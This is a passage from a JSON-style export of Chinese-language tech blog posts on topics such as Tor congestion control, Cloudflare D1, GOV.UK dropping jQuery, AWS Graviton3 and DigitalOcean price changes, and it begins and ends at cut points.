    "title": "PHP 8.2 預計要將一些字串內指定變數的方法標為 Deprecated，在 9.0 移除"
  },
  {
    "id": "10693",
    "body": "<a href=\"https://www.torproject.org/\">Tor</a> 首度在協定內支援了 congestion control：「<a href=\"https://blog.torproject.org/congestion-contrl-047/\">Congestion Control Arrives in Tor 0.4.7-stable!</a>」。\r\n\r\n這個新功能會帶來效能的提昇：\r\n\r\n<blockquote>Tor has released 0.4.7.7, the first stable Tor release with support for congestion control. Congestion control will eliminate the speed limit of current Tor, as well as reduce latency by minimizing queue lengths at relays. It will result in significant performance improvements in Tor, as well as increased utilization of our network capacity.</blockquote>\r\n\r\n之所以沒有辦法直接利用 packet loss 的方式讓 TCP network stack 直接判斷 congestion control，是因為這樣會產生 side channel：\r\n\r\n<blockquote>Crucially, we rejected mechanisms to provide congestion control by allowing packet drops, due to the <a href=\"https://research.torproject.org/techreports/side-channel-analysis-2018-11-27.pdf\">ability to introduce end-to-end side channels in the packet drop pattern</a>.</blockquote>\r\n\r\n所以 Tor 得自己實做 congestion control 演算法，選擇的演算法是結合了 <a href=\"https://en.wikipedia.org/wiki/TCP_Vegas\">Vegas</a> 的 Tor-Vegas，可以看到在實驗中，德國與香港的 exit node 效率大幅提昇：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/APPCCkd.webp\" /><img src=\"https://i.gslin.com/imgur/APPCCkd.png\" alt=\"\" /></picture>\r\n\r\n另外也因為 0.4.7.7 也出來一個禮拜了，也可以看到 Advertised Bandwidth (算是 Tor network 觀察到的 bandwidth) 開始成長：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fqoZWut.webp\" /><img src=\"https://i.gslin.com/imgur/fqoZWut.png\" alt=\"\" /></picture>\r\n\r\n另外一個重要的點是 <a href=\"https://en.wikipedia.org/wiki/User_Datagram_Protocol\">UDP</a> 的支援計畫，看起來在這次改善後也比較有可行性了：\r\n\r\n<blockquote>The astute reader will note that we rejected datagram transports. However, this does not mean that Tor will never carry UDP traffic. On the contrary, congestion control deployment means that queue delay and latency will be much more stable and predictable. This will enable us to carry UDP without packet drops in the network, and only drop UDP at the edges, when the congestion window becomes full. We are hopeful that this new behavior will match what existing UDP protocols expect, allowing their use over Tor.</blockquote>",
    "title": "Tor 0.4.7.7 支援 congestion control"
  },
  {
    "id": "10694",
    "body": "是在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這個：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"lt\" dir=\"ltr\">Introducing the new phpBB Status Site <a href=\"https://t.co/V20jmQk4Px\">https://t.co/V20jmQk4Px</a></p>&mdash; phpBB (@phpbb) <a href=\"https://twitter.com/phpbb/status/1523308246672412673?ref_src=twsrc%5Etfw\">May 8, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n然後翻到 <a href=\"https://upptime.js.org/\">Upptime</a> 這個 open source monitoring 工具，直接是用 <a href=\"https://github.com/features/actions\">GitHub Actions</a> 提供的 schedule (cron job) 每五分鐘跑一次。這邊要注意的是，如果是 public repository 的話不受限制，如果是 private repository 的話會有機會把 quota 吃完：\r\n\r\n<blockquote>Billing note: Upptime uses thousands of build minutes every month (approximately 3,000 minutes in the default setting). If you use a public repository, GitHub offers unlimited free build minutes, but if you use a private repository, you'll have to pay for this time.</blockquote>\r\n\r\n依照說明是用 GitHub Actions、<a href=\"https://github.com/features/issues/\">GitHub Issues</a>、<a href=\"https://pages.github.com/\">GitHub Pages</a> 三個功能在運作：\r\n\r\n<blockquote><ul>\r\n\t<li>GitHub Actions is used as an uptime monitor</li>\r\n\t<li>GitHub Issues are used for incident reports</li>\r\n\t<li>GitHub Pages are used for the status website</li>\r\n</ul></blockquote>\r\n\r\n除了用這三個功能外，另外還是會每天塞一些資料回 git history 裡面：\r\n\r\n<blockquote>We also record the response time once per day and commit it to git history. This way, we can graph long-term trends in your websites' response times by going through git commit history. We generate these graphs once every day, also using schedulers.</blockquote>\r\n\r\n好像可以玩看看...",
    "title": "用 GitHub Actions 做的監控服務 Upptime"
  },
  {
    "id": "10695",
    "body": "看到「<a href=\"https://uxdesign.cc/unethical-design-of-cookie-consent-windows-857ef68f1bd6\">It’s time we fix the unethical design of cookie consent windows</a>」這篇，我這邊不是要討論那堆 dark pattern 以及對應的法律問題 (像是先前提到的「<a href=\"https://blog.gslin.org/archives/2022/04/26/10677/google-%e5%9c%a8%e6%ad%90%e7%9b%9f%e7%9a%84%e6%9c%8d%e5%8b%99%e5%b0%87%e6%8f%90%e4%be%9b-reject-all-cookies-%e7%9a%84%e6%8c%89%e9%88%95/\">Google 在歐盟的服務將提供 Reject All Cookies 的按鈕</a>」)，而是想要提一下有對應的 filter rule 專門在擋這類東西的。\r\n\r\n在 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 內的列表有個「Annoyances」的清單可以選：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QDjnUF3.webp\" /><img src=\"https://i.gslin.com/imgur/QDjnUF3.png\" alt=\"\" /></picture>\r\n\r\n主要就 <a href=\"https://adguard.com/en/blog/annoyances-filter.html\">AdGuard Annoyances</a>、<a href=\"https://www.fanboy.co.nz/\">Fanboy’s Annoyance</a> 以及 <a href=\"https://github.com/uBlockOrigin/uAssets/blob/master/filters/annoyances.txt\">uBlock filters – Annoyances</a> 這三個，這樣會讓你在使用網路順不少...",
    "title": "關於阻擋 cookie consent window (會問你同意 cookie 的視窗)"
  },
  {
    "id": "10696",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了新產品 D1：「<a href=\"https://blog.cloudflare.com/introducing-d1/\">Announcing D1: our first SQL database</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上對應的討論在「<a href=\"https://news.ycombinator.com/item?id=31339299\">D1: Our SQL database (cloudflare.com)</a>」這邊可以看到。\r\n\r\n就如同 Hacker News 上的討論提到的，這篇文章不像一般的 Cloudflare 文章會帶有很多技術上的說明 (尤其是在描述技術產品)，這篇算是非常的行銷導向的文章，目前大家只能靠「猜」的去理解：\r\n\r\n<blockquote>For a Cloudflare article, this one is surprisingly light on technical details. And for the product where it most matters.</blockquote>\r\n\r\n翻了一下這兩個屬名的作者，<a href=\"https://www.linkedin.com/in/ritakozlov/\">Rita Kozlov</a> 是 Director of Product at Cloudflare，而 Glen Maddern 是 Systems Engineer at Cloudflare。\r\n\r\n目前知道的是，D1 是架構在 <a href=\"https://sqlite.org/\">SQLite</a> 上面：\r\n\r\n<blockquote>D1 is built on SQLite.</blockquote>\r\n\r\n然後從範例的程式碼內可以看到，在 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> 裡面的用法是透過 <code>await env.DB.get()</code> 操作：\r\n\r\n<pre>export default {\r\n  async fetch(request, env, ctx) {\r\n    const { pathname } = new URL(request.url)\r\n    if (pathname === '/num-products') {\r\n      const { result } = await env.DB.get(`SELECT count(*) AS num_products FROM Product;`)\r\n      return new Response(`There are ${result.num_products} products in the D1 database!`)\r\n    }\r\n  }\r\n}</pre>\r\n\r\n然後從 screenshot 上沒有看到 region，但是 class 那邊出現了一個 <code>tokyo3</code> 不知道是什麼東西：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7HhZzn4.webp\" /><img src=\"https://i.gslin.com/imgur/7HhZzn4.png\" alt=\"\" /></picture>\r\n\r\n目前看到的就這些，沒提到 replication 機制 (這其實還蠻重要的，某些資料是有法規限制的)，另外開發者會很在意的 performance 或是 latency 也沒提到 (所以可以預期應該不會太好？)。\r\n\r\n另外在 RDBMS 內很重要的 <a href=\"https://en.wikipedia.org/wiki/ACID\">ACID</a> 特性與分散式系統中 <a href=\"https://en.wikipedia.org/wiki/CAP_theorem\">CAP theorem</a> 的性質也都沒有分析。\r\n\r\n可以先放著看看就好...",
    "title": "Cloudflare 的 D1 (SQLite as a service)"
  },
  {
    "id": "10697",
    "body": "看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/05/amazon-efs-larger-number-concurrent-file-locks/\">Amazon EFS now supports a larger number of concurrent file locks</a>」這篇提到：\r\n\r\n<blockquote>This Amazon EFS update increases the number of simultaneous file locks an NFS mount can acquire to 65,536 (from 8,192 previously), enabling Amazon EFS to be used for a broader set of applications that heavily leverage file locking (including message broker and distributed analytics applications).</blockquote>\r\n\r\n所以 <a href=\"https://en.wikipedia.org/wiki/Network_File_System\">NFS</a> 的部份先前有 8192 個的上限在，現在則是拉 65536 個了。\r\n\r\n不過提到 message broker，應該是以前的應用利用 NFS file lock 來做一些事情？",
    "title": "Amazon EFS 的 file lock 限制"
  },
  {
    "id": "10699",
    "body": "<a href=\"https://www.nvidia.com/\">NVIDIA</a> 宣佈開源 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 下的 GPU Kernel Driver：「<a href=\"https://developer.nvidia.com/blog/nvidia-releases-open-source-gpu-kernel-modules/\">NVIDIA Releases Open-Source GPU Kernel Modules</a>」。\r\n\r\n從一些描述上可以看出來，應該是因為 Datacenter 端的動力推動的，所以這次 open source 的版本中，對 Datacenter GPU 的支援是 production level，但對 GeForce GPU 與 Workstation GPU 的支援直接掛 alpha level：\r\n\r\n<blockquote>Which GPUs are supported by Open GPU Kernel Modules?\r\n\r\nOpen kernel modules support all Ampere and Turing GPUs. Datacenter GPUs are supported for production, and support for GeForce and Workstation GPUs is alpha quality. Please refer to the Datacenter, NVIDIA RTX, and GeForce product tables for more details (Turing and above have compute capability of 7.5 or greater).</blockquote>\r\n\r\n然後 user-mode driver 還是 closed source：\r\n\r\n<blockquote>Will the source for user-mode drivers such as CUDA be published?\r\n\r\nThese changes are for the kernel modules; while the user-mode components are untouched. So the user-mode will remain closed source and published with pre-built binaries in the driver and the CUDA toolkit.</blockquote>\r\n\r\n對 <a href=\"https://nouveau.freedesktop.org/\">nouveau</a> 來說，是可以從 open source driver 裡面挖一些東西出來用，不過能挖到跟 proprietary 同樣效能水準嗎？",
    "title": "NVIDIA 開源 Linux GPU Kernel Driver"
  },
  {
    "id": "10700",
    "body": "這幾天 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了一大包東西，其中一個是 Cache Reserve：「<a href=\"https://blog.cloudflare.com/introducing-cache-reserve/\">Introducing Cache Reserve: massively extending Cloudflare’s cache</a>」。\r\n\r\n一般的使用情境是依照 <a href=\"https://en.wikipedia.org/wiki/Least_Recently_Used\">LRU</a> 演算法在決定 Cloudflare 的 cache 滿的時候要排除誰：\r\n\r\n<blockquote>We do eviction based on an algorithm called “least recently used” or LRU. This means that the least-requested content can be evicted from cache first to make space for more popular content when storage space is full.</blockquote>\r\n\r\nCache Reserve 就是自己買 cache 空間，他的作法是你付 <a href=\"https://www.cloudflare.com/products/r2/\">R2</a> 的空間費用：\r\n\r\n<blockquote>Cache Reserve is a large, persistent data store that is implemented on top of R2.</blockquote>\r\n\r\n這樣就可以完全依照 <code>Cache-Control</code> 這類 HTTP header 內的時間保存了，你就不用擔心會被 purge 掉，首先價錢包括了 R2 的部份：\r\n\r\n<blockquote>The Cache Reserve Plan will mimic the low cost of R2. Storage will be $0.015 per GB per month and operations will be $0.36 per million reads, and $4.50 per million writes.</blockquote>\r\n\r\n另外還有還沒公告的 Cache Reserve 的部份：\r\n\r\n<blockquote>(Cache Reserve pricing page will be out soon)</blockquote>\r\n\r\n對於很極致想要拼 hit rate 的使用者來說是個選擇就是了，另外可以想到直播相關的協定 (像是 <a href=\"https://en.wikipedia.org/wiki/HTTP_Live_Streaming\">HLS</a>) 好像可以這樣搞來壓低對 origin server 的壓力？",
    "title": "Cloudflare 推出了讓你買 cache 空間的 Cache Reserve"
  },
  {
    "id": "10703",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://en.wikipedia.org/wiki/Colin_Percival\">Colin Percival</a> 說計畫將 <a href=\"https://www.freebsd.org/\">FreeBSD</a> <a href=\"https://aws.amazon.com/ec2/\">EC2</a> image (AMI) 自動偵測並使用 ephemeral disk 的空間當作 swap：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">EC2 ephemeral (&quot;instance store&quot;) disks are great for swap space, and in future FreeBSD releases they&#39;ll be used for that automatically.<br><br>Next up: Use the rest of the space for ZFS L2ARC. <a href=\"https://t.co/Dqs1Wg1y5M\">pic.twitter.com/Dqs1Wg1y5M</a></p>&mdash; Colin Percival (@cperciva) <a href=\"https://twitter.com/cperciva/status/1525945658988826624?ref_src=twsrc%5Etfw\">May 15, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n就算是使用 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的 <code>gp2</code> 或是 <code>gp3</code>，甚至是其他 VPS，我也很習慣開一點點的 swap 空間來用 (通常是用 file swap 的方式開 512MB，無論記憶體有多大)，這算是我自己的 best practice 了，這可以把一些完全沒用到的 daemon 塞進 swap。\r\n\r\n不過對於已經把 ephemeral disk 規劃拿來用的人可能會不太開心，需要去改設定...",
    "title": "FreeBSD 的 Amazon EC2 Image 打算自動使用本機空間當作 Swap"
  },
  {
    "id": "10704",
    "body": "前陣子看到的文章，在講實做 RSS/Atom feed 的 best practice：「<a href=\"https://kevincox.ca/2022/05/06/rss-feed-best-practices/\">RSS Feed Best Practises</a>」。\r\n\r\n最簡單的當然還是丟個 Atom feed 就好，接下來就是一些延伸出來可以多做的事情。\r\n\r\n首先有提到 discovery，可以讓 crawler 在抓到 HTML 頁面的時候知道 feed 在哪裡，這對於 user experience 來說蠻重要的，大多數的 feed reader 都可以透過這個方式抓到真正的 feed 位置。舉個例子來說，我丟 <code>https://blog.gslin.org/</code> 進 feed reader，可以透過 discovery 的方式告訴 feed reader 我的 feed 位置在 <code>https://blog.gslin.org/feed/</code>：\r\n\r\n<pre>&lt;link rel=\"alternate\" type=\"application/rss+xml\" title=\"Gea-Suan Lin&amp;#039;s BLOG &amp;raquo; Feed\" href=\"https://blog.gslin.org/feed/\" /&gt;</pre>\r\n\r\n另外是常見的 cache 問題，這個設起來不算太難，主要是細節很多 XD\r\n\r\n後面提到的 <a href=\"https://en.wikipedia.org/wiki/WebSub\">WebSub</a>，以前叫做 PubSubHubbub，是一個在 feed 更新後主動通知讓 crawler 來抓的機制。不做的話也還好，現在的 crawler 現在都還蠻聰明的，會針對更新比較頻繁的 feed 常常去確認，但這樣總是會有一些時間差。\r\n\r\n不過裡面好像沒提到 <a href=\"https://wordpress.org/support/article/update-services/\">Update Services</a>，這是比較早期的方法，走 <a href=\"https://en.wikipedia.org/wiki/XML-RPC\">XML-RPC</a>，雖然也不知道現在有什麼用途了，大概就是這樣所以沒提...",
    "title": "實做 RSS/Atom feed 的最佳實踐"
  },
  {
    "id": "10705",
    "body": "先前提過 <a href=\"https://kagi.com/\">Kagi</a> 這個搜尋引擎 (「<a href=\"https://blog.gslin.org/archives/2022/02/14/10549/%E4%BE%86%E6%B8%AC%E8%A9%A6-kagi-%E9%80%99%E5%80%8B%E6%90%9C%E5%B0%8B%E5%BC%95%E6%93%8E/\">來測試 Kagi 這個搜尋引擎</a>」與「<a href=\"https://blog.gslin.org/archives/2022/03/03/10578/%E7%94%A8%E5%85%A9%E5%80%8B%E7%A6%AE%E6%8B%9C-kagi-%E7%9A%84%E5%BF%83%E5%BE%97/\">用兩個禮拜 Kagi 的心得</a>」)，剛剛翻信箱時看到他們的信件，看起來現在任何人都可以註冊了：\r\n\r\n<blockquote>If by any chance you do not have a Kagi account yet, you can make one at <a href=\"https://kagi.com/signup?invite_code=humaneweb\">https://kagi.com/signup?invite_code=humaneweb</a> (feel free to share with your friends)</blockquote>\r\n\r\n另外有提到目前規劃的收費計畫是 US$10/mo：\r\n\r\n<blockquote>Kagi will come as a free version with limited use; and an unlimited use, paid option at $10 a month, both versions having great search results with less spam and completely ad-free, tracking free, and with none of your search data being retained.</blockquote>\r\n\r\nKagi 已經是我目前預設的 search engine，而且品質其實相當滿意 (偶而會切到 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 以及 <a href=\"https://www.google.com/\">Google</a> 比較)，之後就等付費機制上線...",
    "title": "Kagi 的搜尋引擎開放註冊，以及公佈付費方案"
  },
  {
    "id": "10706",
    "body": "前陣子看到的研究報告，證實 <a href=\"https://en.wikipedia.org/wiki/Amazon_Echo\">Amazon Echo</a> 會聽取資訊並且將這些資料送到第三方的廣告平台上 (會送到 <a href=\"https://aws.amazon.com/\">Amazon</a> 自家應該不算新聞)：「<a href=\"https://arxiv.org/abs/2204.10920\">Your Echos are Heard: Tracking, Profiling, and Ad Targeting in the Amazon Smart Speaker Ecosystem</a>」。\r\n\r\n先從 abstract 開始看，主要是目前這些 smart speaker 基本上沒有透明度，所以十位作者群們建立了一套評估用的 framework 用來測試各家 smart speaker 資訊蒐集已經影響的情況：\r\n\r\n<blockquote>Smart speakers collect voice input that can be used to infer sensitive information about users. Given a number of egregious privacy breaches, there is a clear unmet need for greater transparency and control over data collection, sharing, and use by smart speaker platforms as well as third party skills supported on them. To bridge the gap, we build an auditing framework that leverages online advertising to measure data collection, its usage, and its sharing by the smart speaker platforms.</blockquote>\r\n\r\n這次論文裡面提到的目標就是 Amazon Echo 會將聽到的東西分享給第三方的廣告平台，並且讓廣告平台可以調整競價 (賺更多的錢)，而且這些資訊並沒有被揭露在 privacy policy 裡面：\r\n\r\n<blockquote>We evaluate our framework on the Amazon smart speaker ecosystem. Our results show that Amazon and third parties (including advertising and tracking services) collect smart speaker interaction data. We find that Amazon processes voice data to infer user interests and uses it to serve targeted ads on-platform (Echo devices) as well as off-platform (web). Smart speaker interaction leads to as much as 30X higher ad bids from advertisers. Finally, we find that Amazon's and skills' operational practices are often not clearly disclosed in their privacy policies.</blockquote>\r\n\r\n幾個比較重要的資訊，其中一個是「Network traffic distribution by persona, domain name, purpose, and organization」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bhTc4D7.webp\" /><img src=\"https://i.gslin.com/imgur/bhTc4D7.png\" alt=\"\" /></picture>\r\n\r\n另外一個重點是哪些 3rd-party：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LyUieMB.webp\" /><img src=\"https://i.gslin.com/imgur/LyUieMB.png\" alt=\"\" /></picture>\r\n\r\n就心裡有個底，然後隔壁棚也有類似產品 (主業是做廣告的那家)，大概要跑不掉...",
    "title": "Amazon Echo 會「聽」並且將資料送到第三方廣告平台"
  },
  {
    "id": "10707",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://rubenerd.com/git-ignores-gitignore-with-gitignore-in-gitignore/\">Git ignores .gitignore with .gitignore in .gitignore</a>」這個搞事的功能，可以在 <code>.gitignore</code> 內把 <code>.gitignore</code> 忽略掉 XDDD\r\n\r\n這真虧作者想的到這樣的玩法 XDDD\r\n\r\n在 Hacker News 上也有看到一些有趣的東西，像是 globally ignore list 之類的：「<a href=\"https://news.ycombinator.com/item?id=31420268\">Git ignores .gitignore with .gitignore in .gitignore (rubenerd.com)</a>」。",
    "title": "在 .gitignore 裡面忽略掉 .gitignore..."
  },
  {
    "id": "10708",
    "body": "英國政府的網站拔掉 <a href=\"https://jquery.com/\">jQuery</a> 了：「<a href=\"https://web.dev/gov-uk-drops-jquery/\">GOV.UK drops jQuery from their front end.</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也可以看一下：「<a href=\"https://news.ycombinator.com/item?id=31434434\">Gov.uk drops jQuery from their front end (web.dev)</a>」。\r\n\r\n當年會選擇用 jQuery 大概有幾個原因，第一個是當年 (很舊的 browser 版本) 對 DOM 的操作非常的混亂，像是：\r\n\r\n<ul>\r\n\t<li>有 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Node/appendChild\">appendChild()</a> (IE5+) 但沒有 prependChild()。後來才有 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Element/append\">append()</a> 與 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Element/prepend\">prepend()</a> (兩個在 IE 都沒支援，要到 Edge 17+)。</li>\r\n\t<li>有 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Node/insertBefore\">insertBefore()</a> (IE6+) 但沒有 insertAfter()。後來是透過 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentElement\">insertAdjacentElement()</a> (IE5+ but only for HTMLElement) 解決。</li>\r\n</ul>\r\n\r\n而 jQuery 在那個年代就已經把這堆 DOM operation 都窮舉支援了 (可以直接看「<a href=\"https://api.jquery.com/category/manipulation/dom-insertion-around/\">Category: DOM Insertion, Around</a>」、「<a href=\"https://api.jquery.com/category/manipulation/dom-insertion-inside/\">Category: DOM Insertion, Inside</a>」、「<a href=\"https://api.jquery.com/category/manipulation/dom-insertion-outside/\">Category: DOM Insertion, Outside</a>」這三個大分類)，可以注意 jQuery 1.0 就已經把基本界面都弄出來了，而 jQuery 1.0 是 2006 年八月出的，另外 IE7 是在 2006 年十月出，也就是說在 IE6 的年代就提供一整套完整的方案。\r\n\r\n另外 jQuery 幫忙處理了早期 IE 與 W3C 標準的不一致行為，像是經典的 attachEvent (出自 <a href=\"https://en.wikipedia.org/wiki/DOM_events\">DOM events</a>)：\r\n\r\n<blockquote>Microsoft Internet Explorer prior to version 8 does not follow the W3C model, as its own model was created prior to the ratification of the W3C standard. Internet Explorer 9 follows DOM level 3 events, and Internet Explorer 11 deletes its support for Microsoft-specific model.</blockquote>\r\n\r\n就功能面上來說，jQuery 提供的 <a href=\"https://github.com/jquery/sizzle\">Sizzle engine</a> 也提供了 CSS selector 的能力，這在早期還沒有 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll\">querySelectorAll()</a> (IE9+) 的時候方便不少，而且就算有了 querySelectorAll()，Sizzle 支援的 CSS selector 更完整。\r\n\r\n上面提到的解決 browser 早期的各種亂象，jQuery 其實也帶入了不少好用的 pattern，其中一個是 <a href=\"https://en.wikipedia.org/wiki/Fluent_interface\">fluent interface</a> 讓人寫起來很舒服：(這個範例只是要介紹 fluent interface，不要管實際上在亂搞什麼 XD)\r\n\r\n<pre>\r\n$('#foo').html('&lt;p&gt;bar&lt;/p&gt;').css('width: 100px;');\r\n</pre>\r\n\r\n另外就是不需要對 null object 做太多處理：\r\n\r\n<pre>\r\n$('#foo').css('width: 100px;');\r\n</pre>\r\n\r\n與這樣比較：\r\n\r\n<pre>\r\nlet elem = document.querySelector('#foo');\r\nif (elem) {\r\n    // ...\r\n}\r\n</pre>\r\n\r\n不過在這些年，負面的部份已經大幅改善了，所以也陸陸續續可以看到很多人在討論要怎麼拔掉 jQuery。而這次英國的 GOV.UK 拔掉 jQuery 有看到一些效果：\r\n\r\n<ul>\r\n\t<li>Less front end processing time overall.</li>\r\n\t<li>11% less blocking time at the 75th percentile.</li>\r\n\t<li>10% less blocking time for users at the 95th percentile. These are users who experience seriously adverse network and device conditions, and every performance gain matters especially for them.</li>\r\n</ul>\r\n\r\n但說實話，~10% 左右的 performance 改變比預期中少很多耶？可以看出來 <a href=\"https://en.wikipedia.org/wiki/John_Resig\">John Resig</a> 當年在上面為了效能花了多少功夫...\r\n\r\n這次的結果反倒是讓我在思考，如果可以用 jQuery 降低開發的瓶頸，我還蠻偏好就拿 jQuery 進來用...",
    "title": "GOV.UK 拔掉網頁上的 jQuery"
  },
  {
    "id": "10709",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.blog/changelog/2022-05-19-render-mathematical-expressions-in-markdown/\">Render mathematical expressions in Markdown</a>」這個公告：\r\n\r\n<blockquote>You can now use LaTeX style syntax to render math expressions within Markdown inline (using <code>$</code> delimiters) or in blocks (using <code>$$</code> delimiters).</blockquote>\r\n\r\n其中 <a href=\"https://en.wikipedia.org/wiki/TeX\">TeX</a> rendering 這塊是透過 <a href=\"https://www.mathjax.org/\">MathJax</a> 產生的：\r\n\r\n<blockquote>GitHub's math rendering capability uses MathJax; an open source, JavaScript-based display engine.</blockquote>\r\n\r\n我記得 MathJax 的效能好像不怎麼樣... 反正是跑在使用者端的 javascript？XD",
    "title": "GitHub 可以在 Markdown 文件裡寫 TeX 語法了"
  },
  {
    "id": "10711",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 產品線上推出了新一代的 <a href=\"https://www.arm.com/\">ARM</a> 產品，AWS Graviton3 架構，<code>c7g</code> 系列機種：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-c7g-instances-powered-by-aws-graviton3-processors/\">New – Amazon EC2 C7g Instances, Powered by AWS Graviton3 Processors</a>」。\r\n\r\nGraviton3 宣稱比 Graviton2 多 25% 的一般性效能，以及多了一倍的浮點效能，還有 <a href=\"https://en.wikipedia.org/wiki/DDR5_SDRAM\">DDR5</a> 的頻寬優勢：\r\n\r\n<blockquote>Our next generation, Graviton3 processors, deliver up to 25 percent higher performance, up to 2x higher floating-point performance, and 50 percent faster memory access based on leading-edge DDR5 memory technology compared with Graviton2 processors.</blockquote>\r\n\r\n在「<a href=\"https://www.daemonology.net/blog/2022-05-23-FreeBSD-Graviton-3.html\">FreeBSD on the Graviton 3</a>」這邊也可以看到一些效能數據 (雖然是跑在 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 上)，可以看到基本上符合 AWS 的宣稱。\r\n\r\n目前只有 <code>us-east-1</code> 與 <code>us-west-2</code> 有這個機種，不過 Graviton 系列一直都是 AWS 的強主打項目，其他區域應該很快就會看到：\r\n\r\n<blockquote>C7g instances are initially available in US East (N. Virginia) and US West (Oregon) AWS Regions; other Regions will be added shortly after launch.</blockquote>\r\n\r\n價位上比 <code>c6g</code> 貴了一些，在 <code>us-east-1</code> 上 <code>c7g.16xlarge</code> (64 vCPU + 128 GB RAM) 是 US$2.32/hour，而 <code>c6g.16xlarge</code> 是 US$2.176/hour，大約貴了 6.6%，但如果是 CPU bounded 的應用來說，應該還是蠻划算的。\r\n\r\n另外一方面是等後續的 <code>m7g</code> 與 <code>r7g</code> 系列出現...",
    "title": "AWS 推出 c7g 機種"
  },
  {
    "id": "10713",
    "body": "<a href=\"https://www.starlink.com/\">Starlink</a> 推出了 <a href=\"https://en.wikipedia.org/wiki/Recreational_vehicle\">RV</a> 版本：「<a href=\"https://www.starlink.com/rv\">STARLINK FOR RVs</a>」。\r\n\r\n這塊市場看起來不賴，不是每個地區都有 4G network 可以用，但基本上沒有 4G network 的地區應該夠空曠可以收衛星訊號？看起來目前有 coverage 的地區都支援...\r\n\r\n另外一個是 billing 的部份：\r\n\r\n<blockquote>Starlink for RVs provides the ability to pause and un-pause service at any time and is billed in one-month increments, allowing users to customize their service to their individual travel needs.</blockquote>\r\n\r\n不過本來好像就沒有綁約...",
    "title": "Starlink 推出 RV 版本"
  },
  {
    "id": "10716",
    "body": "在「<a href=\"https://www.eff.org/https-everywhere/set-https-default-your-browser\">Set Up HTTPS by Default in Your Browser</a>」這頁看到的東西：\r\n\r\n<blockquote>Note: HTTPS Everywhere will sunset in January 2023.</blockquote>\r\n\r\n我把他 submit 到 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上：「<a href=\"https://news.ycombinator.com/item?id=31503451\">HTTPS Everywhere will sunset in January 2023 (eff.org)</a>」，裡面有一些有趣的討論，像是這跟 <a href=\"https://www.google.com/\">Google</a> 硬幹 Manifest v2 也有關：\r\n\r\n<blockquote>It doesn't seem to be mentioned by the EFF, but coincidentally, January 2023 is when Manifest v2 extensions stop working in Google Chrome: https://developer.chrome.com/blog/mv2-transition/</blockquote>\r\n\r\n但查了一下，目前好像沒有好的技術標準可以確保第一次的 HTTPS request。馬上想的到的是透過 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System\">DNS</a> 的方式指定，這樣就可以透過 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions\">DNSSEC</a> 保護不被竄改，但看起來沒有這個標準...",
    "title": "HTTPS Everywhere 將在明年一月 (2023/01) 停止運作"
  },
  {
    "id": "10717",
    "body": "清 RSS reader 的時候才翻到的，<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 宣佈漲價：「<a href=\"https://www.digitalocean.com/try/new-pricing\">New DigitalOcean Pricing</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有對另外一篇「公告」也有些討論：「<a href=\"https://www.digitalocean.com/blog/new-4-dollar-droplet-updated-pricing\">New $4 Droplet and updated pricing</a>」、「<a href=\"https://news.ycombinator.com/item?id=31396810\">DigitalOcean: New $4 Droplet and updated pricing (digitalocean.com)</a>」。\r\n\r\n如果就比例來說，VPS 裡漲最多的就是一般性的產品線 Basic Droplets 這組，直接漲了 20%，其他的翻了一下舊的 pricing 頁面，看起來大多在 20% 以下，除了 <a href=\"https://en.wikipedia.org/wiki/IPv4\">IPv4</a> 的費用 (這個倒是知道發生什麼事情)。\r\n\r\nVPS 的 $5/mo 1GB 競爭算是很激烈的，算是頂標，這次 DigitalOcean 主動漲價，沒意外應該是會有不少人開始規劃搬家？接下來應該看看另外兩家的動作...\r\n\r\n看了一下另外兩家最近的情況，<a href=\"https://www.linode.com/\">Linode</a> 在二月被 <a href=\"https://www.akamai.com/\">Akamai</a> 買走之後目前主要是推出了 <a href=\"https://www.linode.com/products/databases/\">Managed Databases</a> 